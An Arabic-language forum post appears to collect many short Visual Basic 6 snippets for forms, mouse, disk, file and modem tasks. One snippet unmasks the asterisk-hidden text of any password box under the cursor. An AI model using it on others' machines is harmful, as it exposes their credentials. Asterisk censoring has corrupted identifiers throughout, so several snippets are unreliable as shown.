InternetGetLastResponseInfo lErr, sErr, lenBuf 'create a buffer sErr = String(lenBuf, 0) 'retrieve the last respons info InternetGetLastResponseInfo lErr, sErr, lenBuf 'show the last response info MsgBox "Error " + CStr(lErr) + ": " + sErr, vbOKOnly + vbCritical End Sub |
تأجيل تنفيذ الكود لفترة معينة
Public Sub Delay(HowLong As Date) TempTime = DateAdd("s", HowLong, Now) While TempTime > Now DoEvents Wend End Sub Private Sub Command1_Click() Delay 5 MsgBox "Test" End Sub |
منع تشغيل أكثر من نسخة من البرنامج
Private Sub Form_Load() If App.PrevInstance = True Then MsgBox "لا يمكن تشغيل أكثر من نسخة من البرنامج" Unload Me Exit Sub End If End Sub |
Private Declare Function PaintDesktop Lib "user32" (ByVal hdc As Long) As Long Private Sub Command1_Click() PaintDesktop Form1.hdc End Sub |
نسخ الصورة أو قلبها عمودياً أو أفقياً
Private Sub Command1_Click() 'الوضع الطبيعي النسخ Picture2.PaintPicture Picture1.Picture, 0, 0, Picture1.Width, Picture1.Height, 0, 0, Picture1.Width, Picture1.Height, vbSrcCopy End Sub Private Sub Command2_Click() 'الوضع الافقي Picture2.PaintPicture Picture1.Picture, 0, 0, Picture1.Width, Picture1.Height, Picture1.Width, 0, -Picture1.Width, Picture1.Height, vbSrcCopy End Sub Private Sub Command3_Click() 'الوضع العمودي Picture2.PaintPicture Picture1.Picture, 0, 0, Picture1.Width, Picture1.Height, 0, Picture1.Height, Picture1.Width, -Picture1.Height, vbSrcCopy End Sub Private Sub Command4_Click() 'لقلب الصورة Picture2.PaintPicture Picture1.Picture, 0, 0, Picture1.Width, Picture1.Height, Picture1.Width, Picture1.Height, -Picture1.Width, -Picture1.Height, vbSrcCopy End Sub |
عمل مفاتيح اختصار
ترجمة النجوم *** في كلمات السر إلى حروف عادية
حساب عدد حروف مربع نص
تحريك صورة مع مؤشر الماوس
تحريك الفورم عن طريق الماوس
ونكتب في موديل Modell
رسم خطين متقاطعين حسب حركة الماوس
عكس اتجاه النص
إضافة حدث عند الضغط على زر الماوس الأيمن
معرفة نوع القرص (قرص مرن، صلب، سي دي روم ... الخ)
معرفة معلومات عن القرص [مساحته، المستخدم، المتبقي ...الخ]
التحكم في حركة الماوس
تغميق وتفتيح الصورة بشكل رائع
معرفة اللون الذي يمر عليه الماوس
فاصل ونواصل مع 1000 كود
Private Const MOD_ALT = &H1 Private Const MOD_CONTROL = &H2 Private Const MOD_SHIFT = &H4 Private Const PM_RE**** = &H1 Private Const WM_HOTKEY = &H312 Private Type POINTAPI x As Long y As Long End Type Private Type Msg hWnd As Long Message As Long wParam As Long lParam As Long time As Long pt As POINTAPI End Type Private Declare Function RegisterHotKey Lib "user32" (ByVal hWnd As Long, ByVal id As Long, ByVal fsModifiers As Long, ByVal vk As Long) As Long Private Declare Function UnregisterHotKey Lib "user32" (ByVal hWnd As Long, ByVal id As Long) As Long Private Declare Function PeekMessage Lib "user32" Alias "PeekMessageA" (lpMsg As Msg, ByVal hWnd As Long, ByVal wMsgFilterMin As Long, ByVal wMsgFilterMax As Long, ByVal wRe****Msg As Long) As Long Private Declare Function WaitMessage Lib "user32" () As Long Private bCancel As Boolean Private Sub ProcessMessages() Dim Message As Msg 'loop until bCancel is set to True Do While Not bCancel 'wait for a message WaitMessage 'check if it's a HOTKEY-message If PeekMessage(Message, Me.hWnd, WM_HOTKEY, WM_HOTKEY, PM_RE****) Then 'minimize the form WindowState = vbMinimized End If 'let the operating system process other events DoEvents Loop End Sub Private Sub Form_Load() Dim ret As Long bCancel = False 'register the Ctrl-F hotkey ret = RegisterHotKey(Me.hWnd, &HBFFF&, MOD_CONTROL, vbKeyF) 'show some information Me.AutoRedraw = True Me.Print "Press CTRL-F to minimize this form" 'show the form and Show 'process the Hotkey messages ProcessMessages End Sub Private Sub Form_Unload(Cancel As Integer) bCancel = True 'unregister hotkey Call UnregisterHotKey(Me.hWnd, &HBFFF&) End Sub |
ترجمة النجوم *** في كلمات السر إلى حروف عادية
Private Declare Function WindowFromPoint Lib "user32" (ByVal xPoint As Long, ByVal yPoint As Long) As Long Private Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long Private Type POINTAPI x As Long y As Long End Type Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) Private Sub Form_Load() Timer1.Interval = 10 End Sub Private Sub Timer1_Timer() Const EM_SETPASSWORDCHAR = &HCC Dim coord As POINTAPI s = GetCursorPos(coord) x = coord.x y = coord.y h = WindowFromPoint(x, y) Dim NewChar As Integer NewChar = CLng(0) retval = SendMessage(h, EM_SETPASSWORDCHAR, ByVal NewChar, 0) End Sub |
حساب عدد حروف مربع نص
Private Sub Command1_Click() MsgBox ("عدد الحروف = " + Str(Len(Text1.Text))) End Sub |
تحريك صورة مع مؤشر الماوس
Private Sub Form_Mouse****(Button As Integer, Shift As Integer, X As Single, Y As Single) Picture1.**** X - 200, Y - 200 End Sub |
تحريك الفورم عن طريق الماوس
Private Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single) ReleaseCapture SendMessage hwnd, WM_NCLBUTTONDOWN, HTCAPTION, 0& End Sub |
Declare Function ReleaseCapture Lib "user32" () As Long Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long Public Const HTCAPTION = 2 Public Const WM_NCLBUTTONDOWN = &HA1 |
رسم خطين متقاطعين حسب حركة الماوس
Private Sub Form_Mouse****(Button As Integer, Shift As Integer, X As Single, Y As Single) Me.Cls Line (X, 0)-(X, Me.ScaleHeight), vbRed Line (0, Y)-(Me.ScaleWidth, Y), vbGreen End Sub |
عكس اتجاه النص
Public Function reversestring(revstr As String) As String Dim doreverse As Long reversestring = "" For doreverse = Len(revstr) To 1 Step -1 reversestring = reversestring & Mid$(revstr, doreverse, 1) Next End Function Private Sub Command1_Click() Dim strResult As String strResult = reversestring(Text1.Text) Text2.Text = strResult End Sub |
إضافة حدث عند الضغط على زر الماوس الأيمن
Private Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single) IF BUTTON=2 THEN msgbox "الزر الأيمن للماوس" END IF End Sub |
معرفة نوع القرص (قرص مرن، صلب، سي دي روم ... الخ)
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long Private Sub Command1_Click() Me.AutoRedraw = True Select Case GetDriveType(Text1.Text & ":\") Case 2 Form1.Caption = "قرص مرن" Case 3 Form1.Caption = "قرص صلب" Case Is = 4 Form1.Caption = "Remote" Case Is = 5 Form1.Caption = "Cd-Rom" Case Is = 6 Form1.Caption = "Ram disk" Case Else Form1.Caption = "غير معين" End Select End Sub Private Sub Form_Load() Command1.Caption = "أدخل رمز القرص الذي تريد معرفته" End Sub |
معرفة معلومات عن القرص [مساحته، المستخدم، المتبقي ...الخ]
Private Declare Function GetDiskFreeSpaceEx Lib "kernel32" Alias "GetDiskFreeSpaceExA" (ByVal lpRootPathName As String, lpFreeBytesAvailableToCaller As Currency, lpTotalNumberOfBytes As Currency, lpTotalNumberOfFreeBytes As Currency) As Long Private Sub Form_Load() Dim r As Long, BytesFreeToCalller As Currency, TotalBytes As Currency Dim TotalFreeBytes As Currency, TotalBytesUsed As Currency Const RootPathName = "c:\" Call GetDiskFreeSpaceEx(RootPathName, BytesFreeToCalller, TotalBytes, TotalFreeBytes) Me.AutoRedraw = True Me.Cls Me.Print Me.Print Me.Print Me.Print " Total Number Of Bytes:", Format$(TotalBytes * 10000, "###,###,###,##0") & " bytes" Me.Print " Total Free Bytes:", Format$(TotalFreeBytes * 10000, "###,###,###,##0") & " bytes" Me.Print " Free Bytes Available:", Format$(BytesFreeToCalller * 10000, "###,###,###,##0") & " bytes" Me.Print " Total Space Used :", Format$((TotalBytes - TotalFreeBytes) * 10000, "###,###,###,##0") & " bytes" End Sub |
التحكم في حركة الماوس
Private Type POINTAPI x As Long y As Long End Type Private Declare Function ClientToScreen Lib "user32" (ByVal hwnd As Long, lpPoint As POINTAPI) As Long Private Declare Function SetCursorPos Lib "user32" (ByVal x As Long, ByVal y As Long) As Long Private Declare Function GetDeviceCaps Lib "gdi32" (ByVal hdc As Long, ByVal nIndex As Long) As Long Dim P As POINTAPI Private Sub Form_Load() Command1.Caption = "Screen Middle" Command2.Caption = "Form Middle" 'API uses pixels Me.ScaleMode = vbPixels End Sub Private Sub Command1_Click() 'Get information about the screen's width P.x = GetDeviceCaps(Form1.hdc, 8) / 2 'Get information about the screen's height P.y = GetDeviceCaps(Form1.hdc, 10) / 2 'Set the mouse cursor to the middle of the screen ret = SetCursorPos(P.x, P.y) End Sub Private Sub Command2_Click() P.x = 0 P.y = 0 'Get information about the form's **** and top ret = ClientToScreen&(Form1.hwnd, P) P.x = P.x + Me.ScaleWidth / 2 P.y = P.y + Me.ScaleHeight / 2 'Set the cursor to the middle of the form ret = SetCursorPos&(P.x, P.y) End Sub |
تغميق وتفتيح الصورة بشكل رائع
Option Explicit Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long Private Declare Function CreateCompatibleDC Lib "gdi32" (ByVal hdc As Long) As Long Private Declare Function CreateCompatibleBitmap Lib "gdi32" (ByVal hdc As Long, ByVal nWidth As Long, ByVal nHeight As Long) As Long Private Declare Function DeleteDC Lib "gdi32" (ByVal hdc As Long) As Long Private Declare Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As Long Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, ByVal hObject As Long) As Long Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) Private Const SRCAND = &H8800C6 Private Const SRCCOPY = &HCC0020 'تغميق الصورة Private Sub Command1_Click() Dim lDC As Long Dim lBMP As Long Dim W As Integer Dim H As Integer Dim lColor As Long Screen.MousePointer = vbHourglass W = ScaleX(Picture1.Picture.Width, vbHimetric, vbPixels) H = ScaleY(Picture1.Picture.Height, vbHimetric, vbPixels) lBMP = CreateCompatibleBitmap(Picture1.hdc, W, H) lDC = CreateCompatibleDC(Picture1.hdc) Call SelectObject(lDC, lBMP) BitBlt lDC, 0, 0, W, H, Picture1.hdc, 0, 0, SRCCOPY Picture1 = LoadPicture("") For lColor = 255 To 0 Step -3 Picture1.BackColor = RGB(lColor, lColor, lColor) BitBlt Picture1.hdc, 0, 0, W, H, lDC, 0, 0, SRCAND Sleep 15 Next Call DeleteDC(lDC) Call DeleteObject(lBMP) Screen.MousePointer = vbDefault End Sub 'تفتيح الصورة Private Sub Command2_Click() Dim lDC As Long Dim lBMP As Long Dim W As Integer Dim H As Integer Dim lColor As Long Screen.MousePointer = vbHourglass W = ScaleX(Picture1.Picture.Width, vbHimetric, vbPixels) H = ScaleY(Picture1.Picture.Height, vbHimetric, vbPixels) lBMP = CreateCompatibleBitmap(Picture1.hdc, W, H) lDC = CreateCompatibleDC(Picture1.hdc) Call SelectObject(lDC, lBMP) BitBlt lDC, 0, 0, W, H, Picture1.hdc, 0, 0, SRCCOPY Picture1 = LoadPicture("") For lColor = 0 To 255 Step +3 Picture1.BackColor = RGB(lColor, lColor, lColor) BitBlt Picture1.hdc, 0, 0, W, H, lDC, 0, 0, SRCAND Sleep 15 Next Call DeleteDC(lDC) Call DeleteObject(lBMP) Screen.MousePointer = vbDefault End Sub |
معرفة اللون الذي يمر عليه الماوس
Option Explicit Private Type POINTAPI x As Long y As Long End Type Private Declare Function GetPixel Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long) As Long Private Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long Private Declare Function GetWindowDC Lib "user32" (ByVal hwnd As Long) As Long Private Sub Form_Load() Timer1.Interval = 100 End Sub Private Sub Timer1_Timer() Dim tPOS As POINTAPI Dim sTmp As String Dim lColor As Long Dim lDC As Long lDC = GetWindowDC(0) Call GetCursorPos(tPOS) lColor = GetPixel(lDC, tPOS.x, tPOS.y) Label1.BackColor = lColor sTmp = Right$("000000" & Hex(lColor), 6) Caption = "R:" & Right$(sTmp, 2) & " G:" & Mid$(sTmp, 3, 2) & " B:" & ****$(sTmp, 2) End Sub |
نسخ الملفات من وإلى أي مكان في الهارديسك
تشغيل ملف من نوع AVI دون الحاجة إلى أي أدوات
إنشاء مجلد جديد
منع نسخ أو لصق أي ملف ..في الـ Autorun لحماية برنامجك من النسخ.
التقاط صورة للفورم في الحافظ
تنفيذ أوامر عند الضغط على زري F9 أو F10
فاصل
Private Sub Command1_Click() FileCopy "c:\Autoexec.bat", "d:\Autoexec.bat" End Sub |
تشغيل ملف من نوع AVI دون الحاجة إلى أي أدوات
Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long Private Sub Form_Click() Dim Ret As Long, A$, x As Integer, y As Integer x = 10 y = 10 A$ = "c:\Filename.avi" Ret = mciSendString("stop movie", 0&, 128, 0) Ret = mciSendString("close movie", 0&, 128, 0) Ret = mciSendString("open AVIvideo!" & A$ & " alias movie parent " & Form1.hWnd & " style child", 0&, 128, 0) Ret = mciSendString("put movie window client at " & x & " " & y & " 0 0", 0&, 128, 0) Ret = mciSendString("play movie", 0&, 128, 0) End Sub Private Sub Form_DblClick() End End Sub Private Sub Form_Terminate() Dim Ret As Long Ret = mciSendString("close all", 0&, 128, 0) End Sub |
إنشاء مجلد جديد
Private Type SECURITY_ATTRIBUTES nLength As Long lpSecurityDescriptor As Long bInheritHandle As Boolean End Type Private Declare Function CreateDirectory Lib "kernel32.dll" Alias "CreateDirectoryA" (ByVal lpPathName As String, lpSecurityAttributes As SECURITY_ATTRIBUTES) As Long Private Sub Command1_Click() Dim attr As SECURITY_ATTRIBUTES ' security attributes structure Dim rval As Long ' Set security attributes attr.nLength = Len(attr) 'size of the structure attr.lpSecurityDescriptor = 0 'normal level of security attr.bInheritHandle = 1 'default setting ' Create directory. rval = CreateDirectory(Text1.Text, attr) End Sub Private Sub Form_Load() Text1.Text = "c:\Abdu" Command1.Caption = "New Directory" End Sub |
منع نسخ أو لصق أي ملف ..في الـ Autorun لحماية برنامجك من النسخ.
Private Sub Form_Load() Timer1.Interval = 1 End Sub Private Sub Timer1_Timer() R = Clipboard.GetText If Len(R) = 0 Then Clipboard.Clear End If End Sub |
التقاط صورة للفورم في الحافظ
Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long) Private Const VK_SNAPSHOT = &H2C Private Sub Command1_Click() keybd_event VK_SNAPSHOT, 1, 1, 1 End Sub |
تنفيذ أوامر عند الضغط على زري F9 أو F10
Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer) If KeyCode = 120 Then Email = InputBox("Enter Your Name :", "تحياتي") End If If KeyCode = 121 Then Email = InputBox("Enter Your E-mail :", "تحياتي") End If End Sub |
فاصل
عمل نموذج شفاف
جعل الفورم في المقدمة
كرات صغيرة تتبع الماوس
معرفة الإصدارة الحالية من الويندوز
لكتابة بس ارقام في تكست بوكس
*كود برمجي*
فحص المنافذ
لإنهاء صلاحيات برنامجك التجريبي بعد30 يوماً فقط
تحيه حسب الوقت
فورم دائري
*كود برمجي*
تنزيل ملف من الانترنت
بييب فاصل
private declare function setlayeredwindowattributes lib "user32.dll" (byval hwnd as long, byvalcrkey as long, byval balpha as byte, byval dwflags as long) as boolean private declare function setwindowlong lib "user32" alias "setwindowlonga" (byval hwnd as long, byval nindex as long, byval dwnewlong as long) as long private declare function getwindowlong lib "user32" alias "getwindowlonga" (byval hwnd as long, byval nindex as long) as long const lwa_alpha = 2 const gwl_exstyle = (-20) const ws_ex_layered = &h80000 private sub form_load() setwindowlong hwnd, gwl_exstyle, getwindowlong(hwnd, gwl_exstyle) or ws_ex_layered setlayeredwindowattributes hwnd, 0, 128, lwa_alpha end sub |
جعل الفورم في المقدمة
private declare function setwindowpos lib "user32" (byval hwnd as long, byval hwndinsertafter as long, byval x as long, byval y as long, byval cx as long, byval cy as long, byval wflags as long) as long private const swp_no**** = 2 private const swp_nosize = 1 private const hwnd_topmost = -1 private const hwnd_notopmost = -2 public sub setontop(byval hwnd as long, byval bsetontop as boolean) dim lr as long if bsetontop then lr = setwindowpos(hwnd, hwnd_topmost, 0, 0, 0, 0, swp_no**** or swp_nosize) else lr = setwindowpos(hwnd, hwnd_notopmost, 0, 0, 0, 0, swp_no**** or swp_nosize) end if end sub private sub form_load() setontop form1.hwnd, true end sub |
كرات صغيرة تتبع الماوس
private type pointapi x as long y as long end type private declare function getactivewindow lib "user32" () as long private declare function getwindowdc lib "user32" (byval hwnd as long) as long private declare function ellipse lib "gdi32" (byval hdc as long, byval x1 as long, byval y1 as long, byval x2 as long, byval y2 as long) as long private declare function textout lib "gdi32" alias "textouta" (byval hdc as long, byval x as long, byval y as long, byval lpstring as string, byval ncount as long) as long private declare function getcursorpos lib "user32" (lppoint as pointapi) as long private sub form_load() timer1.interval = 100 timer1.enabled = true timer2.interval = 100 timer2.enabled = true form1.hide end sub sub timer1_timer() dim position as pointapi getcursorpos position ellipse getwindowdc(0), position.x - 7, position.y - 7, position.x + 5, position.y + 5 end sub |
private declare function getversionex lib "kernel32" alias "getversionexa" (lpversioninformation as osversioninfo) as long private type osversioninfo dwosversioninfosize as long dwmajorversion as long dwminorversion as long dwbuildnumber as long dwplatformid as long szcsdversion as string * 128 end type private sub form_load() dim osinfo as osversioninfo, pid as string 'set the graphical mode to persistent me.autoredraw = true 'set the structure size osinfo.dwosversioninfosize = len(osinfo) 'get the windows version ret& = getversionex(osinfo) 'chack for errors if ret& = 0 then msgbox "error getting version information": Exit sub 'print the information to the form select case osinfo.dwplatformid case 0 pid = "windows 32s " case 1 pid = "windows 95/98" case 2 pid = "windows nt " end select print "os: " + pid print "win version:" + str$(osinfo.dwmajorversion) + "." + ltrim(str(osinfo.dwminorversion)) print "build: " + str(osinfo.dwbuildnumber) end sub |
لكتابة بس ارقام في تكست بوكس
*كود برمجي*
private sub command1_click() dim ss as string ss="123456789" if instr(ss,chr(keyascii)=0 then keyascii=0 end if end sub |
فحص المنافذ
private sub command1_click() on error goto opn: Winsock1.localport = text1.text winsock1.listen text2.text = "المنفذ غير مفتوح" winsock1.close exit sub opn: If err.number = 10048 then text2.text = "المنفذ مفتوح" else text2.text = "يوجد مشكلة" end if winsock1.close end sub |
dim startdate as string dim differenceofdate dim tracedate as string dim newdate dim chk if getsetting(app.title, "startup", "counter", "") = "" then savesetting app.title, "startup", "counter", 1 savesetting app.title, "startup", "started", format(date, "mm dd yyyy") savesetting app.title, "startup", "last used", format(date, "mm dd yyyy") lblcnt.caption = "1" elseif getsetting(app.title, "startup", "counter", "") = "31" then msgbox "شكراً لستخدامك هذا البرنامج " & chr(10) + chr(1) & "الرجاء إيقاف عمل هذا البرنامج او سيتم فقدان كل المعلومات التي قمت بإدخالها ", vb***tical, "شكراً لك " end else tracedate = getsetting(app.title, "startup", "last used", "") chk = datediff("d", cdate(tracedate), now) if chk < 0 then 'check if the date was change which is lesser than the previous date where the system used. Msgbox "لم يتم العثور على تاريخ النظام لديك !! " & chr(10) + chr(13) & " الرجاء تغييرة الأن وإلا لن يكون بإمكانك إستخدام هذا البرنامج لاحقاً", vb***tical, "تاريخ مفقود" end else startdate = getsetting(app.title, "startup", "started", "") differenceofdate = datediff("d", startdate, now) if differenceofdate <> 0 then lblcnt.caption = differenceofdate + 1 savesetting app.title, "startup", "last used", format(now, "mm dd yyyy") savesetting app.title, "startup", "counter", differenceofdate + 1 end if if differenceofdate = 0 then lblcnt.caption = getsetting(app.title, "startup", "counter", "") end if end if end if end sub |
تحيه حسب الوقت
private sub form_load() if time <= "11:30 am" then msgbox ("good morning yournamehere!") end end if if time > "11:30 am" and time < "5:00 pm" then msgbox ("good afternoon yournamehere!") end end if if time > "5:00 pm" then msgbox ("good evening yournamehere!") end end if if time >= "12:01 am" then msgbox ("good morning yournamehere!") end end if end sub |
فورم دائري
*كود برمجي*
sub formcircle (frm as form, size as integer) for e% = size% - 1 to 0 step -1 frm.**** = frm.**** - e% frm.top = frm.top + (size% - e%) next e% for e% = size% - 1 to 0 step -1 frm.**** = frm.**** + (size% - e%) frm.top = frm.top + e% next e% for e% = size% - 1 to 0 step -1 frm.**** = frm.**** + e% frm.top = frm.top - (size% - e%) next e% for e% = size% - 1 to 0 step -1 frm.**** = frm.**** - (size% - e%) frm.top = frm.top - e% next e% end sub |
'التصاريح private declare function urldownloadtofile lib "urlmon" alias _ "urldownloadtofilea" (byval pcaller as long, _ byval szurl as string, _ byval szfilename as string, _ byval dwreserved as long, _ byval lpfncb as long) as long public function downloadfile(url as string, _ localfilename as string) as boolean dim lngretval as long lngretval = urldownloadtofile(0, url, localfilename, 0, 0) if lngretval = 0 then downloadfile = true end function 'الكود g = downloadfile("urlofthefiletodownload", "c:\windows\desktop\filename.htm") |
'أضف مربعي نص وقائمة(لست بوكس)
تعتبر هذه الدالة مهمة جدا وسهلة الاستخدام لمعرفة الفرق بيت توقيتين محددين ( تاريخ أو وقت)
كود للأتصال من خلال البرنامج باستعمال اداة mscomm
هل الملف موجود أم لا؟
عكس اتجاه جمله
نعطيل النوافذ الدعائية في متصفحكDisble Popup Window
بإمكانك تحريك الماوس برمجيا
هذا الكود لعمل فورم رخامي
ضع هذا الكود في قسم التصريحات General
Private Sub GradientFill()
Dim i As Long
Dim c As Integer
Dim r As Double
r = ScaleHeight / 3.142
For i = 0 To ScaleHeight
c = Abs(220 * Sin(i / r))
Me.Line (0, i)-(ScaleWidth, i), RGB(c, c, c + 30) 'Notice the bias To blue. You can be more subtle by reducing this number (try 10). Try other colours too.
Next
End Sub
وهذا الكود في حدث Resize للفورم
GradientFill
هذا الكود لمعرفة البارامترات التي يتم تمريرها للبرنامج في سطر الأوامر
كيف تعرف اذا تم تغيير محتويات TextBox
نسخ محتويات مربع نص الى مربع نص اخر
يتبع
Const LB_FINDSTRING = &H18F Private Declare Function SendMessage Lib "User32" _ Alias "SendMessageA" _ (ByVal hWnd As Long, ByVal wMsg As Integer, _ ByVal wParam As Integer, lParam As Any) As Long Private Sub Form_Load() List1.Clear List1.AddItem "abcd": List1.AddItem "acbd" List1.AddItem "bcde": List1.AddItem "bdef" List1.AddItem "cdef": List1.AddItem "cfde" Text1.Text = "" End Sub Private Sub Text1_Change() List1.ListIndex = SendMessage(List1.hWnd, LB_FINDSTRING, -1, ByVal Text1.Text) End Sub |
تعتبر هذه الدالة مهمة جدا وسهلة الاستخدام لمعرفة الفرق بيت توقيتين محددين ( تاريخ أو وقت)
diff= DateDiff("d", "22/1/2001", "22/1/2002") |
كود للأتصال من خلال البرنامج باستعمال اداة mscomm
'اضف 12 command و 2 text و اداة mscomm و ضع الكود التالي Option Explicit Private Sub Command1_Click(Index As Integer) Text1.Text = Text1.Text & Command1(Index).Caption End Sub Private Sub Command2_Click() On Error GoTo er: Dim DialString$, FromModem$, dummy Dim Result As Long If MSComm1.PortOpen = True Then: MsgBox "منفذ الاتصال قيد الاستخدام حاليا", vbInformation, "": Exit Sub If Text1.Text <> "" Then With MSComm1 'تحديد منفذ الاتصال الخاص بالمودم .CommPort = Text2.Text 'اعدادات خاصة بالمودم وسرعته .Settings = "9600,N,8,1" 'فتح المنفذ للحصول على الخط .PortOpen = True 'بعض الثوابت لتعريف الاتصال .Output = "ATDT" & MSComm1.Tag & Chr$(13) End With Else MsgBox "لايوجد رقم للأتصال به ؟", vb***tical, "خطاء" End If MSComm1.InBufferCount = 0 'حلقة للحصول على نتائج الاتصال Do dummy = DoEvents() 'تم اقفال منفذ الاتصال If MSComm1.PortOpen = False Then Exit Sub If MSComm1.InBufferCount Then FromModem$ = FromModem$ + MSComm1.Input If InStr(FromModem$, "NO DIALTONE") Then MsgBox "لايوجد صوت طنين تاكد من الخط غير مشغول او باتصاله بالمودم بشكل صحيح", vbInformation, "" Exit Do End If If InStr(FromModem$, "BUSY") Then MsgBox "الخط مشغول اعد الاتصال مرة اخرى", vbInformation, "" Exit Do End If If InStr(FromModem$, "OK") Then Result = MsgBox("ارفع السماعة واضغط موافق للمكالمة ان اردت انهاء المكالمة اضغط موافق بدون رفع السماعة", vbInformation, "") Exit Do End If End If Loop MSComm1.PortOpen = False Exit Sub er: If Err.Number = 8002 Then MsgBox "لا يوجد مودم في المنفذ المحدد فضلا تأكد من المنفذ الصحيح أو تأكد من وصل المودم بجهازك بشكل جيد", vb***tical, "خطاء" Else MsgBox Err.Number & " " & Err.Des***ption, vb***tical, "خطاء" End If End Sub Private Sub Command3_Click() If MSComm1.PortOpen = False Then Exit Sub MSComm1.PortOpen = False End Sub |
هل الملف موجود أم لا؟
If Dir("c:\test.txt", vbNormal or vbReadOnly or vbHidden or vbSystem or vbArchive) = "" then Msgbox "الملف غير موجود" Else Msgbox "الملف موجود" End If |
عكس اتجاه جمله
Public Function reversestring(revstr As String) As String Dim doreverse As Long reversestring = "" For doreverse = Len(revstr) To 1 Step -1 reversestring = reversestring & Mid$(revstr, doreverse, 1) Next End Function Private Sub Form_DblClick() Dim strResult As String 'الكلمه المراد عكسها strResult = reversestring("String") MsgBox strResult End Sub |
نعطيل النوافذ الدعائية في متصفحكDisble Popup Window
Private Sub Form_Load() <font color="#FF0000">*</font><font color="#FF0000">*</font><font color="#FF0000">*</font>Browser1.Navigate "http://www.aol.com" End Sub Private Sub <font color="#FF0000">*</font><font color="#FF0000">*</font><font color="#FF0000">*</font>Browser1_NewWindow2(ppDisp As Object, Cancel As Boolean) 'this sets the popup window to another b ' rowser control 'in which <font color="#FF0000">*</font><font color="#FF0000">*</font><font color="#FF0000">*</font>browser2.visible = false Set ppDisp = <font color="#FF0000">*</font><font color="#FF0000">*</font><font color="#FF0000">*</font>Browser2.Object End Sub |
بإمكانك تحريك الماوس برمجيا
'أضف Command1,Command2 ثم انسخ الكود التالي Private Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long Private Declare Function ClientToScreen Lib "user32" _ (ByVal hwnd As Long, lpPoint As POINTAPI) As Long Private Declare Sub mouse_event Lib "user32" _ (ByVal dwFlags As Long, ByVal dx As Long, _ ByVal dy As Long, ByVal cButtons As Long, ByVal dwExtraInfo As Long) Private Const MOUSEEVENTF_**** = &H1 ' mouse **** Private Const MOUSEEVENTF_ABSOLUTE = &H8000 ' absolute **** Private Type POINTAPI X As Long Y As Long End Type Private Sub Command1_Click() Const NUM_****S = 2000 Dim pt As POINTAPI Dim cur_x As Long Dim cur_y As Long Dim dest_x As Long Dim dest_y As Long Dim dx As Long Dim dy As Long Dim i As Integer ScaleMode = vbPixels GetCursorPos pt cur_x = pt.X * 65535 / ScaleX(Screen.Width, vbTwips, vbPixels) cur_y = pt.Y * 65535 / ScaleY(Screen.Height, vbTwips, vbPixels) 'تحديد مكان الماوس الجديد pt.X = Command2.Width / 2 pt.Y = Command2.Height / 2 ClientToScreen Command2.hwnd, pt dest_x = pt.X * 65535 / ScaleX(Screen.Width, vbTwips, vbPixels) dest_y = pt.Y * 65535 / ScaleY(Screen.Height, vbTwips, vbPixels) ' **** the mouse. dx = (dest_x - cur_x) / NUM_****S dy = (dest_y - cur_y) / NUM_****S For i = 1 To NUM_****S - 1 cur_x = cur_x + dx cur_y = cur_y + dy mouse_event MOUSEEVENTF_ABSOLUTE + MOUSEEVENTF_****, cur_x, cur_y, 0, 0 DoEvents Next i End Sub |
هذا الكود لعمل فورم رخامي
ضع هذا الكود في قسم التصريحات General
Private Sub GradientFill()
Dim i As Long
Dim c As Integer
Dim r As Double
r = ScaleHeight / 3.142
For i = 0 To ScaleHeight
c = Abs(220 * Sin(i / r))
Me.Line (0, i)-(ScaleWidth, i), RGB(c, c, c + 30) 'Notice the bias To blue. You can be more subtle by reducing this number (try 10). Try other colours too.
Next
End Sub
وهذا الكود في حدث Resize للفورم
GradientFill
هذا الكود لمعرفة البارامترات التي يتم تمريرها للبرنامج في سطر الأوامر
Function GetCommandLine(Optional MaxArgs) Dim C, CmdLine, CmdLnLen, InArg, I, NumArgs If IsMissing(MaxArgs) Then MaxArgs = 10 End If ReDim ArgArray(MaxArgs) NumArgs = 0: InArg = False CmdLine = Command() CmdLnLen = Len(CmdLine) For I = 1 To CmdLnLen C = Mid(CmdLine, I, 1) If (C <> " " And C <> vbTab) Then If Not InArg Then If NumArgs = MaxArgs Then Exit For End If NumArgs = NumArgs + 1 InArg = True End If ArgArray(NumArgs) = ArgArray(NumArgs) & C Else InArg = False End If Next I ReDim Preserve ArgArray(NumArgs) GetCommandLine = ArgArray() End Function Private Sub Form_Activate() Dim I s = GetCommandLine For I = 1 To UBound(s) Print s(I) Next I End Sub |
كيف تعرف اذا تم تغيير محتويات TextBox
Private bChanged As Boolean Private Sub Text1_Change() bChanged = True End SubPrivate Sub Form_Unload(Cancel As Boolean) If bChanged Then If Msgbox("Save Changes?", vbYesNo, "Save") = vbYes Then 'Save Changes Here. End If End If End Sub |
نسخ محتويات مربع نص الى مربع نص اخر
